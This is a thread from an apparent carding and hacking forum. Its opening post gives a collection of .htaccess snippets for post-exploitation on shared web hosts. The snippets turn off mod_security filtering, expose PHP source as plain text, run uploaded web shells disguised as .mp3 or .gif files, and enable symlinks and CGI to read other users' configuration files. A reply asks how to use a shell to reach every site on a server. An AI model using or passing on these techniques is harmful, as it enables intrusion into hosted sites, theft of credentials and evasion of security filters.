BPC Squad Bank Paypal And Cards | Carders Forum | Carding Forum
Bypass Symlink Private - Printable Version

+- BPC Squad Bank Paypal And Cards | Carders Forum | Carding Forum (https://www.bpcforums.biz)
+-- Forum: Anonymity (https://www.bpcforums.biz/Forum-anonymity)
+--- Forum: Hacking and Security (https://www.bpcforums.biz/Forum-hacking-and-security)
+--- Thread: Bypass Symlink Private (/Thread-bypass-symlink-private)



Bypass Symlink Private - wigancss - 01-11-2016

__Bypass Symlink with .htaccess
i will write down for you all .htaccess possible.



Quote:
Options FollowSymLinks MultiViews Indexes ExecCGI





Quote:
Options Indexes FollowSymLinks DirectoryIndex ssssss.htm AddType txt .php
AddHandler txt .php




Quote:
Options All DirectoryIndex ssss.html addType txt .php AddHandler txt .php <IfModule mod_security.c> SecFilterEngine Off SecFilterScanPOST Off </IfModule>




Quote:
Options All ReadMeName 1.txt



Quote:
suPHP_ConfigPath /home/user/public_html/php.ini



Quote:
Options all




Quote:
Options +FollowSymLinks DirectoryIndex Sux.html Options +Indexes AddType text/plain .php AddHandler server-parsed .php AddType text/plain .html



Quote:
Options Indexes FollowSymLinks DirectoryIndex ssssss.htm AddType txt .php AddHandler txt .php <IfModule mod_autoindex.c> IndexOptions FancyIndexing IconsAreLinks SuppressHTMLPreamble </ ifModule> <IfModule mod_security.c> SecFilterEngine Off SecFilterScanPOST Off </IfModule>


This one is to make python work : 
Quote:
AddType application/x-httpd-cgi .py AddHandler cgi-script .py AddHandler cgi-script .py



This one is to make perl work :


Quote:
AddType application/x-httpd-cgi .pl AddHandler cgi-script .pl AddHandler cgi-script .pl



This one is to enable Symlink if the function is disabled in the server : 

Quote:
<Directory "/home"> *** Options -ExecCGI* *** AllowOverride AuthConfig Indexes Limit FileInfo Options=IncludesNOEXEC,Indexes,Includes,MultiViews ,SymLinksIfOwnerMatch,FollowSymLinks </ Directory>

This one is to retrieve users permissions : 

Quote:
AddType text/plain .php Options +Indexes DirectoryIndex filename.html



Bypass Internal Server error :


Quote:
<IfModule mod_security.c> SecFilterEngine Off SecFilterScanPOST Off </IfModule>

Change php version:


Quote:
AddType application/x-httpd-php4 .php


Bypass Uploads Options and upload shell in another extension :
Quote:

<FilesMatch "^.*\.mp3"> SetHandler application/x-httpd-php </FilesMatch>

Retrieve Config with picture method :
Quote:

Options FollowSymLinks MultiViews Indexes ExecCGI 
AddType application/x-httpd-cgi .gif 
AddHandler cgi-script .gif
AddHandler cgi-script .gif

./Enj0y



RE: Bypass Symlink Private - #D4rkD0ct0r.AL - 01-12-2016

why is this needed. what i can do with this if I have a shell in a website help me. can i get all sites in that server


RE: Bypass Symlink Private - wigancss - 01-12-2016

Fol shqip more se SHQIPTAR jam hahahha